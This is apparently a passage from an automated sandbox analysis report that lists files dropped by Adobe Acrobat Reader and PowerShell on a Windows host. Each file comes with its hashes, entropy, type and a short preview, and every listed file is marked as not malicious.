Preview:	{"analyticsData":{"responseGUID":"d01239c0-9e3e-4d38-82d0-1c95541c882f","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736710133621,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.305898042254233
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqGHgMU09VoZcg1vRcR0Y2DoAvJfbPtdPeUkwRe9:YvXKXQMU0EZc0v9sGDV8Ukee9
MD5:	8794C2425388242226AE29E4FC5E690C
SHA1:	2145F584B1256F98099A31B979540B97228C1EC7
SHA-256:	B921E0B62809CA4660BA18206B137F046CAAF6F084A57AB888551C4B5847CEDE
SHA-512:	CA081753B2A8A446F7B8BC73185FFF0BF212494CC9C362BC83EF5EAB9CC81273EB498196EFF3F313CEB5F817B9D43424E8BEF99C5A95114EB089EA3CD60364E4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d01239c0-9e3e-4d38-82d0-1c95541c882f","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736710133621,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.310211256222816
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqGHgMU09VoZcg1vRcR0Y2DoAvJf21rPeUkwRe9:YvXKXQMU0EZc0v9sG+16Ukee9
MD5:	5FF00B8BB924E0DCE4677C77AFBE62EC
SHA1:	F09FAF6643C47644BDE2139CEC116D4236C1531E
SHA-256:	D96C4089B9EBF65DEDE9615861EC156AB0612F9317A04562C4758F4E5C61C6EC
SHA-512:	76B46A62DA0848622AAC81718644E188D2070CD9B18DA7395E8A1AB37594C869B4DF38F3A2D001A470C40210A5822FE32F5D6FE3B0BAE9A15A9B7678D74229D4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d01239c0-9e3e-4d38-82d0-1c95541c882f","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736710133621,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665095564662781
Encrypted:	false
SSDEEP:	24:Yv6XQSEzv95amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSx:YvHvBgkDMUJUAh8cvMx
MD5:	B0A7C8F156466F7E03585491C197DF16
SHA1:	B6E6CD56BFAA5BB20D26E526E3C2B293755CEDF1
SHA-256:	BE6DD64E011A1906F0999B7249CD677834B3BA986EE8714B3E16FA390BF5852D
SHA-512:	37C2E0A6A4B23DD6AE4B1383AB5AA4C62AB562DD58458815A58DA854DD21ABF5733D10AB12E80AFCBB2F281887F047A5D8FFD50B987E91E9DF3265D9143EE7A9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d01239c0-9e3e-4d38-82d0-1c95541c882f","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736710133621,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.285736924097261
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqGHgMU09VoZcg1vRcR0Y2DoAvJfshHHrPeUkwRe9:YvXKXQMU0EZc0v9sGUUUkee9
MD5:	11CD74BED2FCBD0740DB3A0DFB46F715
SHA1:	04A239F5675270414BBED067E658D3527C7F6F12
SHA-256:	A55B0E424B7B0651929F448021E6BAA29C5A69089733B7B5FC2948745FFBD9A1
SHA-512:	7A51537F5AB6A9CF547CEC2399EF102F313BDD9A8BCA8CB3E021C7E001D1425E140F78FEA6C49EDE3692DA744223CECB5B71750E0CA4C970C729C28BFDF80376
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d01239c0-9e3e-4d38-82d0-1c95541c882f","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736710133621,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.291286395055217
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqGHgMU09VoZcg1vRcR0Y2DoAvJTqgFCrPeUkwRe9:YvXKXQMU0EZc0v9sGTq16Ukee9
MD5:	BEE3CB0BB2E972436153FF4CE009ED63
SHA1:	B2CAB2AAD04C7A0150C74AA2D32AE345137937C8
SHA-256:	989846FCD6CFDC63737B9D691FB77043C02E9D465C91C046A86BA29490BFD459
SHA-512:	561A30337910D3A76019DCF624BAEC088D070117C78C9ABE8B7180FE74F7F754F752598FC35226A8996E41C73F045139629AE4391F03CDCFE53C4D13AD0D3F8E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d01239c0-9e3e-4d38-82d0-1c95541c882f","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736710133621,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139345239397389
Encrypted:	false
SSDEEP:	24:Ymcman9KaykpTrN4RB4IzZnWIyhSj+8j0SuE22B2LSgCNRSumQn1t5Qg9V9cuEOG:Ym+9uRKIztzyidSk+eRfFTug9/a
MD5:	A47BB82EC2EFC8ED3F0D092E24F3AB7A
SHA1:	EFC129114900462F2EFBA19364F23EDD1C7CF9FD
SHA-256:	DBFE0757CD45A617F876F8646936EBBC4F9A1092A756F95D1A9996D22E4EE82D
SHA-512:	25591366E12AB67E5352403FE63F159390632D585F1AC9D9E5ABEC6D8E8D4D9A90ECB4BBCAAD668EBA228F9CAF8868FC696FF64088BA80D8D26B5698D4EFDF0D
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"63ae1eccf061891466489ce300e60a50","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736534527000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"849755c9906f5b8352dc1f01cfc10c13","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736534527000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"2fad3e322796dfc5f4a5ca7599da9c6c","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736534527000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"8776652c45e33dde353941828fa85714","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736534527000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"55f29b2727749e26c3c1f4c56f28a643","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736534527000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"2ba1ac050ae916c45159a8e12eb78856","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1885650537273444
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUU4SvR9H9vxFGiDIAEkGVvpC:lNVmswUUUUUUUU4+FGSIt2
MD5:	53A28DA1372CDD99B660FEBFD537B36C
SHA1:	9B5C9B2C14C1D512FE55E26F78E173AE37C0471E
SHA-256:	1D26A276044FEBB394EBE93448B78937BCF14CBF72A5EEFB5A85811C4D95DFCF
SHA-512:	CD36CFD7AC359E33F10821ECA149E41AAC1A594D224E502A7986EBC474427457BE5502FBD7149E687B412461EC1A70F9CFD5CD7A56152F88FD56CC5F0FAC0C44
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6075217226014418
Encrypted:	false
SSDEEP:	48:7MwKUUUUUUUUUUavR9H9vxFGiDIAEkGVv17qFl2GL7msu:7oUUUUUUUUUUmFGSIt37KVmsu
MD5:	E6B8DCCFB710F1D76C5040FEBE191845
SHA1:	994360F91B415B018F442B4BA750E8AC459D4539
SHA-256:	C132E035C7069D71950AF208340EB3833B688E508BA5BB5697DBC9116F05E2FE
SHA-512:	2773B4B17E5E840752C0A9737B0280FD2A32F3FB8460B6D4723BF47600035F7635B0DC538A4993DB1A246D72386E5BFDE0666AE1E6E05451A290A0147652C8AC
Malicious:	false
Preview:	.... .c.....W.#"......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgawrCyNG6CHrW/twr6xfWuLijO9Yyu:6a6TZ44ADEawrlNGVHauxO9K
MD5:	B6D46B54DC90F174DA9B61C1B69BB3B0
SHA1:	8E511605DBA4071E53117994A08DDB2907A3FC1B
SHA-256:	E31315DB98D0F473AB8F4BB110845DD78766C7DE17331D8A008C432D132DAAD0
SHA-512:	14AA5C3778AA079AD34EC0C796CD87C7E9E87DFEE4F5BC904100E7D4605E3C1B852DA1734E62C6CA2A6A1AE4343C98FAA836402199381269E6A3208FCD49184B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI78b8d.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.503482856767026
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClExHYlYH:Qw946cPbiOxDlbYnuRK+bDxHYlYH
MD5:	F3F4AFC55243CA4F5BCDABE18E09D5C4
SHA1:	5636080522223EF92409705451368F1F34F27754
SHA-256:	E088C99C72425CFC1CEF9402432A1BC702F53DAFC86EB4CDAE22E61AD42D291F
SHA-512:	4F6E9563DC13ECAD7D94C8B88A3C6D725AE3C80A6DF7F197B0F463B793DB35D04CD59866A56235C2D0FC9556ED58B8C1861E9A0177ACDA93A70EF0730BA61768
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.4.2.:.1.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_krhhskwv.mqg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yzcdqq4z.0go.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-42-03-592.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.341927965590459
Encrypted:	false
SSDEEP:	384:KNJwRtsuRx2mv5CBPBEBh6lGSHGmCAw3g77N/3tMlI5LtCqHhoiZpMp8huI616S4:5aVVgg
MD5:	36B9355760E4EEFDDEDF58991EA1A7E6
SHA1:	7B9FD29D141FD4CDC40F1D02C44E81C462EB495E
SHA-256:	880DBF91754A41F2F39F7FC3280893C21DD9DC82AAAB4EB25462A2D72C9941CA
SHA-512:	2590EF3FE706CEB525AC494C86C78C0F4EE0E52092E2EEA21F4DC382FAE5EE48B70ED6E81A4B0CB46EEAFD7319CBFAE400F328952893447D27596B0A83B186A9
Malicious:	false
Preview:	SessionID=f0768d08-6200-4e46-9447-62811197d819.1736534523603 Timestamp=2025-01-10T13:42:03:603-0500 ThreadID=3004 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=f0768d08-6200-4e46-9447-62811197d819.1736534523603 Timestamp=2025-01-10T13:42:03:604-0500 ThreadID=3004 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=f0768d08-6200-4e46-9447-62811197d819.1736534523603 Timestamp=2025-01-10T13:42:03:604-0500 ThreadID=3004 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=f0768d08-6200-4e46-9447-62811197d819.1736534523603 Timestamp=2025-01-10T13:42:03:604-0500 ThreadID=3004 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=f0768d08-6200-4e46-9447-62811197d819.1736534523603 Timestamp=2025-01-10T13:42:03:604-0500 ThreadID=3004 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.38014019211999
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rk:H4
MD5:	022C1467BF37D55BEC4D46490494B3E0
SHA1:	A15ABB8401F7C69E4ADFE0944900F4AD3ADE2D57
SHA-256:	1DFAE29B2D8C1DDBDE05C76DE4812A043ABF04C0A43EC004C881C621943D2BD2
SHA-512:	D37D56776D8459EE4CC27590FDDCA1D523174ABE209CD4DCF8454701946B729346ECF15D1E34BDFEFA4499F1EE2F2E854C8EBE55844F70DD0A9C324B67D207C4
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\064b7a65-5c06-419c-8a6d-8018179d9f37.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\33d26247-6d8a-41eb-99e9-3167083dafdd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDYYIGNPpe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZQ
MD5:	E139E6D53A958755742760CD4A4456CB
SHA1:	C259B619917152498BF74F65E11D03B50E4F80F1
SHA-256:	542A482DF531973AFE108199E6DF1200DB2590E2E2F7B73C5CD428066EF9138E
SHA-512:	36222C1C5AD31244D808331760A7BEA22C20F3664709D0786260B538578CA184EF2634E844D682B92DEA9ACDEF3EA700B1C7C4972BE97B8C80ADF3945A92858B
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9d2e7293-557c-4a51-8945-e0bbe5f56420.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
